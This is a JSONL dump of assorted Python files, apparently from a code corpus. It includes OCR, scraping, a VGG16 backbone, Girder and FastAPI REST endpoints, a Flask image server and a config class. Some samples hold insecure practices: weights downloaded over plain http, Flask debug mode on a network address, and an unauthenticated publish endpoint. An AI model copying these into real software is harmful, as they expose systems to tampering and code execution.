+{"seq_id":"492049961","text":"def check_anagram(st, ts):\n \"\"\"\n :type s: str\n :type t: str\n :rtype: bool\n \"\"\"\n if len(st) != len(ts): return False\n anagram1 = {}\n anagram2 = {}\n for ab, ba in zip(st, ts):\n print(ab, ba)\n # import pdb; pdb.set_trace()\n try:\n anagram1[ab] += 1\n except KeyError:\n anagram1[ab] = 1\n try:\n anagram2[ba] += 1\n except KeyError:\n anagram2[ba] = 1\n\n \n return anagram1 == anagram2\n\nif __name__ == \"__main__\":\n print(check_anagram(\"anagram\", \"nagaram\"))","sub_path":"leetcode/easy/strings/anagram.py","file_name":"anagram.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"284910380","text":"import operator\nimport re\n\nimport cv2\nfrom PIL import Image\n\nimport pytesser\nimport reading_white_text\nimport smooth_image\n\nINVERT_COLOR_THRESHOLD = 128\n\n\ndef make_string_alphanmeric(lines):\n s = re.sub('[^0-9a-zA-Z\\n]+', ' ', lines)\n return s\n\n\ndef greyscale_image_mean(file_name):\n size = 128, 128\n im = Image.open(file_name)\n im.thumbnail(size)\n im.save('thumbnail.jpg', \"JPEG\")\n img = cv2.imread('thumbnail.jpg', 0)\n avg = 0\n x, y = im.size\n for i in range(y):\n for j in range(x):\n avg += img[i][j]\n return float(avg * 1.0 / (128 * 128))\n\n\nD = {}\n\n\ndef remove_too_many_small_words_dish(text):\n new_text = []\n for lines in text:\n word_count = 0.0\n small_word_count = 0.0\n line = lines.split(' ')\n for word in line:\n if len(word) <= 2:\n small_word_count += 1\n word_count += 1\n try:\n small_word_proportion = small_word_count / word_count\n\n except:\n small_word_proportion = 0.0\n # print 'small_word_proportion: ' , small_word_proportion\n if small_word_proportion <= 0.4:\n new_text.append(line)\n\n return new_text\n\n\ndef fact(l):\n if l >= 500:\n return 1\n else:\n f = 500.0 / l\n if int(f) <= 0:\n return 1\n return int(f)\n\n\ndef image_process_extract_string(s, mask, x, y, w, h):\n im = mask[y: y + h, x: x + w]\n cv2.imwrite(s, im)\n size = 2 * w, 2 * h\n im = Image.open(s)\n im_resized = im.resize(size, Image.ANTIALIAS)\n im_resized.save(s, dpi=(100, 100))\n return pytesser.image_to_string(s, 6)\n\n\ndef extract_image(file_name):\n img = cv2.imread(file_name)\n img_final = cv2.imread(file_name)\n\n img2gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n inv_img = (255 - img2gray)\n kernel = cv2.getStructuringElement(cv2.MORPH_CROSS, (5, 2))\n\n dilated = cv2.dilate(inv_img, kernel, iterations=7) # dilate\n type_image = dilated\n _, contours, hierarchy = cv2.findContours(type_image, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE) # get contours\n\n ind = 0\n pix = {}\n value_at = {}\n index = 0\n P = {}\n image_2_text = smooth_image.smooth2(file_name)\n for contour in contours:\n # get rectangle bounding contour\n [x, y, w, h] = cv2.boundingRect(contour)\n # draw rectangle around contour on original image\n if w < 20 or h < 20:\n continue\n if w > 500 and h > 500:\n continue\n\n cv2.rectangle(img, (x, y), (x + w + 10, y + h + 10), (255, 0, 255), 2)\n\n s = '/tmp/' + str(ind) + '.tif'\n\n box_read = image_process_extract_string(s, image_2_text, x, y, w, h)\n # print box_read\n D[(x, y)] = box_read\n ind += 1\n box_read_to_lines = box_read.split('\\n')\n\n for lines in box_read_to_lines:\n P[(x, y)] = lines;\n value_at[index] = (x, y)\n index += 1\n x1 = x / 50\n x1 = x1 * 50\n\n tup = [[x, lines]]\n for key, val in tup:\n pix.setdefault(key, []).append(val)\n cv2.imwrite('boxed_image.jpg', img)\n\n # print D\n final_list2 = []\n sorted_x = sorted(D.items(), key=operator.itemgetter(0))\n # print sorted_x\n for k, v in sorted(D.items()):\n # print v\n list_new = str(v).split('\\n')\n for l in list_new:\n final_list2.append(l)\n\n '''final_list = []\n for val in pix:\n for dish in pix[val]:\n if len(dish) > 1:\n final_list.append(dish) \n '''\n return final_list2\n\n\ndef pre_process_image(file_path):\n norm2dp_image_path = 'norm2dp.jpg'\n final_image_path = 'final_image_processed.jpg'\n im = Image.open(file_path)\n l, w = im.size\n factor = fact(l)\n size = int(factor * l), int(factor * w)\n im_resized = im.resize(size, Image.ANTIALIAS)\n im_resized.save(norm2dp_image_path, dpi=(200, 200))\n im_new = smooth_image.smooth2(norm2dp_image_path)\n cv2.imwrite(final_image_path, im_new)\n return final_image_path\n\n\ndef remove_numeric_part(s):\n no_digits = []\n for i in s:\n if not i.isdigit():\n no_digits.append(i)\n\n # Now join all elements of the list with '',\n # which puts all of the characters together.\n result = ''.join(no_digits)\n return result\n\n\ndef main(file_path):\n mean_grey_scale_value = greyscale_image_mean(file_path)\n\n print(mean_grey_scale_value)\n if not mean_grey_scale_value > INVERT_COLOR_THRESHOLD:\n file_path = reading_white_text.read_image_white_text(file_path)\n file_path = pre_process_image(file_path)\n x = list(extract_image(file_path))\n x = remove_too_many_small_words_dish(x)\n for line in x:\n line = make_string_alphanmeric(str(line))\n line = remove_numeric_part(line)\n line = line.strip()\n if len(line) > 0:\n print (line)\n\n\nmain('/Users/Amit/Projects/menu_parser/test.jpg')\n","sub_path":"build/lib/menu_parser/read_image.py","file_name":"read_image.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"69017292","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef make_requests():\n html=\"https://sushiwok.kg/bishkek/akcii/\"\n r = requests.get(html)\n return r.content\n\ndef get_data5():\n html = make_requests()\n soup = BeautifulSoup(html, 'html.parser')\n divs = soup.find('div', class_='page-container page-stocks')\n title = divs.find_all('div', class_='stock-wrapper')\n sales_list = []\n title_list = []\n description_list = []\n photo = open('logosushiwok.jpeg', 'rb')\n for item in enumerate(title, 1):\n annouth = item[1].find('span', class_='stock-title').text\n description = item[1].find('div', class_='descr-container').text\n full_title = f\"{str(item[0])}. \" + annouth\n title_list.append(full_title)\n full_description = f\"{str(item[0])}. \" + description\n description_list.append(full_description)\n sales_list.append(title_list)\n sales_list.append(description_list)\n sales_list.append(photo)\n return sales_list\n","sub_path":"sushiwok.py","file_name":"sushiwok.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"567141677","text":"# https://github.com/clovaai/CRAFT-pytorch/blob/master/basenet/vgg16_bn.py\n\n\n# Imports \n\nfrom collections import namedtuple\n\nimport torch\nimport torch.nn as nn \nimport torch.nn.init as init\nfrom torchvision import models\nfrom torchvision.models.vgg import model_urls\n\ndef init_weights(modules):\n # https://prateekvjoshi.com/2016/03/29/understanding-xavier-initialization-in-deep-neural-networks/ \n for m in modules:\n if isinstance(m, nn.Conv2d):\n init.xavier_uniform_(m.weight.data)\n if m.bias is not None:\n m.bias.data.zero_()\n \n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n elif isinstance(m, nn.Linear):\n m.weight.data.normal_(0, 0.01)\n m.bias.data.zero_()\n\n \nclass vgg16_bn(torch.nn.Module):\n\n def __init__(self, pretrained = True, freeze = True):\n super(vgg16_bn, self).__init__()\n model_urls['vgg16_bn'] = model_urls['vgg16_bn'].replace('https://', 'http://')\n vgg_pretrained_features = models.vgg16_bn(pretrained=pretrained).features\n self.slice1 = torch.nn.Sequential()\n self.slice2 = torch.nn.Sequential()\n self.slice3 = torch.nn.Sequential()\n self.slice4 = torch.nn.Sequential()\n self.slice5 = torch.nn.Sequential()\n\n for x in range(12):\n self.slice1.add_module(str(x), vgg_pretrained_features[x])\n for x in range(12, 19):\n self.slice2.add_module(str(x), vgg_pretrained_features[x])\n for x in range(19, 29):\n self.slice3.add_module(str(x), vgg_pretrained_features[x])\n for x in range(29, 39):\n self.slice4.add_module(str(x), vgg_pretrained_features[x])\n\n self.slice5 = torch.nn.Sequential(\n nn.MaxPool2d(3, 1, 1), \n nn.Conv2d(512, 1024, kernel_size = 3, padding = 6, dilation = 6), \n nn.Conv2d(1024, 1024, 1))\n\n if not pretrained:\n init_weights(self.slice1.modules())\n init_weights(self.slice2.modules())\n init_weights(self.slice3.modules())\n init_weights(self.slice4.modules())\n\n init_weights(self.slice5.modules())\n\n\n if freeze:\n for param in self.slice1.parameters():\n param.requires_grad = False\n\n\n# Define forward pass\n\n\n def forward(self, x):\n h = self.slice1(x)\n h_relu2_2 = h\n h = self.slice2(h)\n h_relu3_2 = h\n h = self.slice3(h)\n h_relu4_3 = h\n h = self.slice4(h)\n h_relu5_3 = h\n h = self.slice5(h)\n h_fc7 = h\n vgg_outputs = namedtuple(\"VggOutputs\", ['fc7', 'relu5_3', 'relu4_3', 'relu3_2', 'relu2_2'])\n out = vgg_outputs(h_fc7 ,h_relu5_3, h_relu4_3, h_relu3_2, h_relu2_2)\n return out\n \n","sub_path":"build/lib/text_reco/models/craft/basenet/vgg16_bn.py","file_name":"vgg16_bn.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"70215882","text":"import file1.F as file_utils\n\ncsv = \"/Users/saikris/Downloads/persondata20151016.txt\"\nfile_utils.read(csv, \"\")\n\noption = \"y\"\nwhile option == \"y\":\n row_num = int(input(\"Enter the rownum: \"))\n print(file_utils.readRow(csv, row_num))\n option = input(\"Continue? y/n: \")\n","sub_path":"basics2/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"395483670","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n###############################################################################\n# Girder plugin framework and tests adapted from Kitware Inc. source and\n# documentation by the Imaging and Visualization Group, Advanced Biomedical\n# Computational Science, Frederick National Laboratory for Cancer Research.\n#\n# Copyright Kitware Inc.\n#\n# Licensed under the Apache License, Version 2.0 ( the \"License\" );\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n###############################################################################\n\nfrom bson.objectid import ObjectId\n\nfrom girder.api import access\nfrom girder.api.describe import Description, autoDescribeRoute\nfrom girder.api.rest import filtermodel, Resource\nfrom girder.constants import AccessType, TokenScope\nfrom girder.exceptions import RestException\nfrom girder.models.file import File\nfrom girder.models.item import Item\nfrom girder.models.setting import Setting\n# from girder_jobs.models.job import Job\n\nfrom .constants import PluginSettings\nfrom .models.histogram import Histogram\n\n\nclass HistogramResource(Resource):\n def __init__(self):\n super(HistogramResource, self).__init__()\n\n self.resourceName = 'histogram'\n\n self.route('GET', (), self.find)\n self.route('POST', (), self.createHistogram)\n self.route('DELETE', (':id',), self.deleteHistogram)\n self.route('GET', (':id',), self.getHistogram)\n self.route('GET', (':id', 'access'), self.getHistogramAccess)\n self.route('PUT', (':id', 'access'), self.updateHistogramAccess)\n self.route('GET', ('settings',), self.getSettings)\n\n self.histogram = Histogram()\n\n @access.public(scope=TokenScope.DATA_READ)\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Search for histograms.')\n .responseClass(Histogram, array=True)\n .param('itemId', 'The item ID of the histogram source.',\n required=False)\n .param('bins', 'Number of bins in in the histogram.', required=False,\n dataType='integer')\n .param('label', 'Histogram is of a label image.', required=False,\n dataType='boolean')\n .param('bitmask', 'Histogram is of a image with bitmask values.',\n required=False, dataType='boolean')\n .param('jobId', 'The job ID of the task generating the histogram.',\n required=False)\n .param('fileId', 'The file ID of the histogram file.', required=False)\n .pagingParams(defaultSort='_id')\n .errorResponse()\n .errorResponse('No matching histograms were found.', 404)\n )\n def find(self, itemId, bins, label, bitmask, jobId, fileId, limit, offset,\n sort):\n user = self.getCurrentUser()\n query = {}\n if itemId is not None:\n query['itemId'] = ObjectId(itemId)\n if bins is not None:\n query['bins'] = bins\n if label is not None:\n query['label'] = label\n if bitmask is not None:\n query['bitmask'] = bitmask\n if jobId is not None:\n query['jobId'] = ObjectId(jobId)\n if fileId is not None:\n query['fileId'] = ObjectId(fileId)\n return list(self.histogram.filterResultsByPermission(\n cursor=self.histogram.find(query, sort=sort),\n user=user,\n level=AccessType.READ,\n limit=limit, offset=offset\n ))\n\n @access.user(scope=TokenScope.DATA_WRITE)\n # @filtermodel(model='job', plugin='jobs')\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Create a new histogram from an item.')\n .modelParam('itemId', 'The ID of the source item.',\n paramType='formData', model=Item, level=AccessType.WRITE)\n .param('fileId', 'The ID of the source file.', required=False)\n .param('notify', 'Trigger a notification when completed',\n required=False, dataType='boolean', default=False)\n .param('bins', 'Number of bins in the histogram', required=False,\n dataType='integer',\n # FIXME: update\n default=Setting().get(PluginSettings.DEFAULT_BINS))\n .param('label', 'Image is a label (ignore zero values)',\n required=False, dataType='boolean', default=False)\n .param('bitmask', 'Image label values are bitmasks',\n required=False, dataType='boolean', default=False)\n )\n def createHistogram(self, item, fileId, notify, bins, label, bitmask):\n user = self.getCurrentUser()\n token = self.getCurrentToken()\n if fileId is None:\n # files = list(Item().childFiles(item=item, limit=2))\n query = {\n 'itemId': item['_id'],\n # 'mimeType': {'$regex': '^image/tiff'}\n # query should find the same file(tiff) used for creating histogram\n # but this will always find most recent json histogram\n '$or': [{'mimeType': {'$regex': '^image/'}},\n {'mimeType': 'application/octet-stream'},\n {'exts': ['tif']}],\n }\n files = list(File().find(query, limit=2))\n if len(files) >= 1:\n fileId = str(files[0]['_id'])\n if not fileId:\n raise RestException('Missing \"fileId\" parameter.')\n\n file_ = File().load(fileId, user=user, level=AccessType.READ, exc=True)\n return self.histogram.createHistogramJob(item, file_, user=user,\n token=token, notify=notify,\n bins=bins, label=label,\n bitmask=bitmask)\n\n @access.user(scope=TokenScope.DATA_OWN)\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Delete a histogram.')\n .modelParam('id', model=Histogram, level=AccessType.WRITE)\n .errorResponse('ID was invalid.')\n .errorResponse('Write access was denied for the histogram.', 403)\n )\n def deleteHistogram(self, histogram):\n self.histogram.remove(histogram)\n\n @access.public(scope=TokenScope.DATA_READ)\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Get histogram by ID.')\n .responseClass(Histogram)\n .modelParam('id', model=Histogram, level=AccessType.READ)\n .errorResponse('ID was invalid.')\n .errorResponse('Read access was denied for the histogram.', 403)\n )\n def getHistogram(self, histogram):\n return histogram\n\n @access.user(scope=TokenScope.DATA_OWN)\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Get the access control list for a histogram.')\n .modelParam('id', model=Histogram, level=AccessType.ADMIN)\n .errorResponse('ID was invalid.')\n .errorResponse('Admin access was denied for the histogram.', 403)\n )\n def getHistogramAccess(self, histogram):\n return self.histogram.getFullAccessList(histogram)\n\n @access.user(scope=TokenScope.DATA_OWN)\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Update the access control list for a histogram.')\n .responseClass(Histogram)\n .modelParam('id', model=Histogram, level=AccessType.ADMIN)\n .jsonParam('access', 'The JSON-encoded access control list.')\n .param('public', 'Whether the histogram should be publicly visible.',\n dataType='boolean', required=False)\n .errorResponse('ID was invalid.')\n .errorResponse('Admin access was denied for the histogram.', 403)\n )\n def updateHistogramAccess(self, histogram, access, public):\n self.histogram.setPublic(histogram, public)\n return self.histogram.setAccessList(histogram, access, save=True,\n user=self.getCurrentUser())\n\n @access.public\n @autoDescribeRoute(\n Description('Getting histogram settings.')\n )\n def getSettings(self):\n settings = Setting()\n return {\n PluginSettings.DEFAULT_BINS:\n settings.get(PluginSettings.DEFAULT_BINS),\n }\n","sub_path":"girder_histogram/rest.py","file_name":"rest.py","file_ext":"py","file_size_in_byte":8644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"389330027","text":"from datetime import date\nfrom typing import List\n\nfrom fastapi import APIRouter, Depends, HTTPException\nfrom httpx import AsyncClient\nfrom models import Hackathon, Publication\nfrom pydantic import BaseModel, Field\nfrom tortoise.contrib.pydantic import pydantic_model_creator\n\nfrom crud.users import get_capitan, get_organizer, get_user\n\nrouter = APIRouter()\n\n\nclass NewHackathon(BaseModel):\n name: str\n description: str\n start_date: date = Field(default=\"2021-05-29\")\n end_date: date = Field(default=\"2021-05-29\")\n image: str = Field(\n default=\"https://cdn22.img.ria.ru/images/07e4/05/06/1571020469_0:0:1920:1080_600x0_80_0_0_8492ea5758147feadb42f576ad3ae00c.jpg\"\n )\n\n\nPublicHackathon = pydantic_model_creator(Hackathon, exclude=(\"organizers\", \"teams\"))\nUpdatedHackathon = pydantic_model_creator(\n Hackathon, exclude=(\"id\", \"organizers\", \"teams\", \"sponsors\", \"tags\")\n)\n\n\n@router.post(\"/create\", response_model=PublicHackathon)\nasync def create(new_hack: NewHackathon, user=Depends(get_user)):\n hack = await Hackathon.create(**new_hack.dict())\n await hack.organizers.add(await user.as_organizer)\n return await PublicHackathon.from_tortoise_orm(hack)\n\n\n@router.delete(\"/{id}\")\nasync def destroy(id: int, user=Depends(get_organizer)):\n hack = await Hackathon.get_or_none(id=id)\n if hack is None:\n return HTTPException(status_code=404, detail=\"Hackathon not found\")\n await hack.delete()\n return {\"ok\": True}\n\n\n@router.get(\"/all\", response_model=List[PublicHackathon])\nasync def get_all():\n return await PublicHackathon.from_queryset(Hackathon.all())\n\n\n@router.get(\"/{id}\", response_model=PublicHackathon)\nasync def get_single(id: int):\n hack = await Hackathon.get_or_none(id=id)\n if hack is None:\n raise HTTPException(status_code=404, detail=\"Hackathon not found\")\n print()\n return await PublicHackathon.from_tortoise_orm(hack)\n\n\nclass ParticipantsAmount(BaseModel):\n amount: int\n\n\n@router.get(\"/{id}/participants_amount\", response_model=ParticipantsAmount)\nasync def get_participants_amount(id: int):\n hack = await Hackathon.get_or_none(id=id)\n if hack is None:\n raise HTTPException(status_code=404, detail=\"Hackathon not found\")\n amount = await hack.participants_amount()\n return ParticipantsAmount.construct(amount=amount)\n\n\n# TODO: m2m updates\n@router.put(\"/{id}\", response_model=PublicHackathon)\nasync def update_single(\n id: int, new_hack: UpdatedHackathon, user=Depends(get_organizer)\n):\n hack = await Hackathon.get_or_none(id=id)\n if hack is None:\n raise HTTPException(status_code=404, detail=\"Hackathon not found\")\n hack.update_from_dict(new_hack.dict())\n await hack.save()\n return await PublicHackathon.from_tortoise_orm(hack)\n\n\n@router.post(\"/enter/{id}\", response_model=PublicHackathon)\nasync def enter_hackathon(id: int, user=Depends(get_capitan)):\n hack = await Hackathon.get_or_none(id=id)\n if hack is None:\n raise HTTPException(status_code=404, detail=\"Hackathon not found\")\n [captain] = await user.as_captain\n await hack.teams.add(await captain.team)\n return await PublicHackathon.from_tortoise_orm(hack)\n\n\nclass NewPublication(BaseModel):\n title: str\n text: str\n\n\nPublicationView = pydantic_model_creator(Publication, exclude=(\"hackathon\",))\n\n\n@router.post(\"/{id}/publish\")\nasync def publish_post(id: int, publication: NewPublication):\n hackathon = await Hackathon.get_or_none(id=id)\n if hackathon is None:\n raise HTTPException(status_code=404, detail=\"Hackathon not found\")\n\n publication = await Publication.create(\n **publication.dict(), hackathon_id=hackathon.id\n )\n # TODO FETCH TO BOT SERVER\n message = f\"{hackathon.name}: {publication.title}\\n{publication.text}\"\n print(message)\n async with AsyncClient() as client:\n await client.post(\"http://notifier:8080\", json={\"message\": message})\n return await PublicationView.from_tortoise_orm(publication)\n","sub_path":"backend/crud/hacks.py","file_name":"hacks.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"445094007","text":"from flask import request\nfrom flask import Flask, jsonify\nimport base64\nfrom pymemcache.client import base\nimport time\nimport datetime\nimport random\nimport cv2\nimport json\nimport numpy as np\n\napp = Flask(__name__)\napp.debug = True\n\n\ndef getJsonObj(body):\n # get json string from binary body\n data_string = bytes.decode(body)\n # load to json obj\n obj_json = json.loads(data_string)\n return obj_json\n \ndef set_cam_status(obj_json):\n now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]\n now = datetime.datetime.strptime(now, '%Y-%m-%d %H:%M:%S.%f')\n old = datetime.datetime.strptime(obj_json['timestamp'], '%Y-%m-%d %H:%M:%S.%f')\n interval = now - old\n print('<'*30, interval)\n if interval.total_seconds() > 10:\n obj_json['online'] = 0\n else:\n obj_json['online'] = 1\n obj_json['img'] = None\n return json.dumps(obj_json)\n\ndef getOpencvImg(obj_json):\n # get image bytes string\n img = base64.b64decode(obj_json['img'].encode())\n # get image array\n img_opencv = cv2.imdecode(np.fromstring(img, np.uint8), 1)\n h, w, c = img_opencv.shape\n img_opencv = cv2.resize(img_opencv, (600, 600))\n cv2.imshow(\"aaa\",img_opencv)\n cv2.waitKey(1)\n return img_opencv, h, w, c\n\n@app.route(\"/image/\", methods=[\"GET\"])\ndef get_latest_frame(camera_ip):\n print(\"camera_ip=\", camera_ip)\n client = base.Client((\"localhost\", 11211))\n body = client.get(camera_ip)\n if body is None:\n return {},404\n obj_json = getJsonObj(body)\n getOpencvImg(obj_json)\n return body, 201\n \n@app.route(\"/status/\", methods=[\"GET\"])\ndef get_camera_status(camera_ip):\n print(\"camera_ip=\", camera_ip)\n client = base.Client((\"localhost\", 11211))\n body = client.get(camera_ip)\n if body is None:\n return {},404\n obj_json = getJsonObj(body)\n body2 = set_cam_status(obj_json)\n return body2, 201\n \n@app.route(\"/server_status\", methods=[\"GET\"])\ndef get_server_status():\n return {},201\n\n\nif __name__ == \"__main__\":\n app.run(host=\"10.248.10.35\", port=5000, threaded=False)\n #app.run(host=\"127.0.0.1\", port=5000, threaded=False)\n\n\n","sub_path":"hx_alg_sdk/flask_api/wsgi_ai.py","file_name":"wsgi_ai.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"634143704","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 9 22:25:03 2021\n\n@author: youle\n\"\"\"\nimport numpy as np\nfrom collections import OrderedDict\n\nimport layers\n\nclass neural_network:\n\n def __init__(self, n_node, lr = 0.01):\n\n #store larning rate\n self.lr = lr\n\n #initialize layers\n self.layers = OrderedDict()\n\n for i in range(1, len(n_node)):\n\n self.layers[F'affine{i}'] = layers.affine_w(n_node[i - 1], n_node[i])\n self.layers[F'sigmoid{i}'] = layers.sigmoid()\n\n self.loss_function = layers.squared_error()\n\n def predict(self, data):\n\n out = data\n for layer in self.layers.values():\n out = layer.forward(out)\n\n return out\n\n def execute(self, data, ans, n_iter):\n\n loss = [self.forward(data, ans)]\n\n for itr in range(n_iter):\n\n for i in range(data.shape[0]):\n\n self.forward(data[i:i + 1], ans[i: i + 1])\n self.backward(ans[i:i + 1])\n self.learning()\n\n loss.append(self.forward(data, ans))\n\n return loss\n\n def forward(self, data, ans):\n\n out = self.predict(data)\n\n return self.loss_function.forward(out, ans)\n\n def backward(self, a):\n\n d_out = self.loss_function.backward(a)\n\n r_layers = list(self.layers.values())\n r_layers.reverse()\n\n for layer in r_layers:\n # if d_out.size == 1:\n # d_out = d_out[0]\n d_out = layer.backward(d_out)\n\n def learning(self):\n\n [*map(lambda layer: layer.update_params(self.lr), self.layers.values())]","sub_path":"two_layers_NN/only_w_updating/two_NN_w.py","file_name":"two_NN_w.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"4644521","text":"import json\nimport os\nfrom multiprocessing import current_process\nfrom typing import Dict\n\nfrom torch import device\n\n\nclass Config:\n def __init__(self):\n # ----------------------------------------------- General stuff -----------------------------------------------\n self.run_name = 'test'\n self.n_generations = 100\n # ------------------------------------------------ Model stuff ------------------------------------------------\n self.device = 'gpu' # cpu\n self.n_gpus = 1\n self.n_evals_per_gpu = 1\n self.batch_size = 256\n self.epochs_in_evolution = 8\n self.n_evals_per_bp = 4\n self.max_model_params = 50e6\n\n self.min_square_dim = -1 # Min output size a conv can be without padding\n # --------------------------------------------- Fully train stuff ---------------------------------------------\n self.fully_train = False\n self.resume_fully_train = False # used to know if a generation should be downloaded from wandb or a fully train should be downloaded\n self.fully_train_epochs = 100\n # ---------------------------------------------- Debug Options ----------------------------------------------\n self.dummy_run = False\n self.dummy_time = 0 # number of seconds to wait to return a dummy eval\n self.threading_test = False\n self.max_batches = -1\n # -------------------------------------------- Visualising Options --------------------------------------------\n self.view_graph_plots = False # if true, any plotted graphs will be viewed\n self.plot_best_genotypes = True\n self.plot_every_genotype = False\n self.plot_best_phenotype = True\n self.plot_every_phenotype = False\n self.plot_module_species = False\n self.view_batch_image = False\n # ----------------------------------------------- Dataset stuff -----------------------------------------------\n self.dataset = 'cifar10' # mnist | cifar10 | custom\n self.custom_dataset_root = ''\n self.validation_split = 0.15 # Percent of the train set that becomes the validation set\n self.download_dataset = True\n # ------------------------------------------------- DA stuff --------------------------------------------------\n self.evolve_da = True\n self.evolve_da_pop = False\n self.use_colour_augmentations = True\n self.add_da_node_chance = 0.15\n self.apply_da_chance = 0.5\n self.da_link_forget_chance = 0.25\n self.batch_augmentation = True\n # ------------------------------------------------- cdn stuff -------------------------------------------------\n self.multiobjective = False\n # Population and species sizes\n self.module_pop_size = 50\n self.bp_pop_size = 20\n self.da_pop_size = 5\n\n self.n_module_species = 4\n self.n_blueprint_species = 1\n # Features chances\n self.module_node_batchnorm_chance = 0.65\n self.module_node_dropout_chance = 0.2\n self.module_node_max_pool_chance = 0.3\n # chance of a new node starting with a deep layer - as opposed to a regulariser only layer\n self.module_node_deep_layer_chance = 1\n self.module_node_conv_layer_chance = 1 # chance of linear = 1-conv. not used if no deep layer\n self.lossy_chance = 0.5\n self.mutate_lossy_values = True\n # Layer types\n self.use_depthwise_separable_convs = False\n # Module retention/elitism\n self.fitness_aggregation = 'avg' # max | avg\n self.use_module_retention = False\n self.module_map_forget_mutation_chance = 0.2\n self.max_module_map_ignores = 1\n self.parent_selector = \"uniform\" # uniform | roulette | tournament\n self.representative_selector = 'random' # best | centroid | random\n # blank node settings - if true input/output nodes are left blank perpetually\n self.blank_module_input_nodes = False\n self.blank_bp_input_nodes = False\n self.blank_module_output_nodes = False\n self.blank_bp_output_nodes = False\n # Use the old aggregation method\n self.old_agg = False\n # ------------------------------------------------- neat stuff -------------------------------------------------\n # Used when calculating distance between genomes\n self.disjoint_coefficient = 3\n self.excess_coefficient = 5\n # Speciation\n self.module_speciation = 'neat' # similar | neat\n self.elite_percent = 0.1\n self.reproduce_percent = 0.2 # Percent of species members that are allowed to reproduce\n # used for neat speciation\n self.species_distance_thresh_mod_base = 1\n self.species_distance_thresh_mod_min = 0.001\n self.species_distance_thresh_mod_max = 100\n # Mutation chances\n self.blueprint_add_node_chance = 0.16 # 0.16\n self.blueprint_add_connection_chance = 0.12 # 0.12\n self.blueprint_node_type_switch_chance = 0 # 0.1 chance for blueprint nodes to switch to module nodes\n self.blueprint_node_species_switch_chance = 0.15 # chance per bp\n self.module_add_node_chance = 0.1 # 0.08\n self.module_add_connection_chance = 0.1 # 0.08\n self.module_node_layer_type_change_chance = 0.1\n self.gene_breeding_chance = 0\n # ------------------------------------------------ wandb stuff ------------------------------------------------\n self.use_wandb = True\n self.wandb_tags = []\n self.wandb_run_id = ''\n # -------------------------------------------------------------------------------------------------------------\n\n def get_device(self):\n \"\"\"Used to obtain the correct device taking into account multiple GPUs\"\"\"\n gpu = 'cuda:'\n gpu_idx = '0' if current_process().name == 'MainProcess' else str(int(current_process().name) % self.n_gpus)\n # print('extracted device id:', gpu_idx)\n gpu += gpu_idx\n return device('cpu') if self.device == 'cpu' else device(gpu)\n\n def read(self, file: str):\n # If the path is not absolute (i.e starts at root) then search in configs dir\n if not file.endswith('.json'):\n file += \".json\"\n\n if not file.startswith(\"/\"):\n file = os.path.join(os.path.dirname(__file__), 'configs', file)\n\n with open(file) as cfg_file:\n options: dict = json.load(cfg_file)\n self._add_cfg_dict(options)\n\n def _add_cfg_dict(self, options: Dict[str, any]):\n self._load_inner_configs(options)\n\n for option_name, option_value in options.items():\n if isinstance(option_value, dict): # If an option value is a dict, then check the dict for sub options\n self._add_cfg_dict(option_value)\n continue\n if option_name in self.__dict__: # Only add an option if it has exactly the same name as a variable\n self.__dict__[option_name] = option_value\n\n def _load_inner_configs(self, options: Dict[str, any]):\n inner_configs_key = 'configs'\n if inner_configs_key in options:\n inner_configs = options[inner_configs_key]\n if isinstance(inner_configs, list):\n for config in reversed(inner_configs):\n self.read(config)\n else:\n raise TypeError('Expected a list of other config options, received: ' + str(type(inner_configs)))\n","sub_path":"src2/configuration/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":7526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
